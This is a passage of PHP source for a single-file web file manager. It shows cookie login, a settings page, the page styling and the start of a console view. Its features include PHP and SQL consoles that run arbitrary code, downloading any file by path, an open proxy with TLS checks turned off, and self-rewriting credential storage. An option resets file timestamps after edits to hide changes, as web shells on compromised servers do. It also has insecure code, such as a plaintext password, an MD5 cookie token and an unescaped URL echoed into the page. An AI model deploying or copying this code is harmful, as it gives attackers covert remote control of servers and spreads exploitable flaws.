isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form 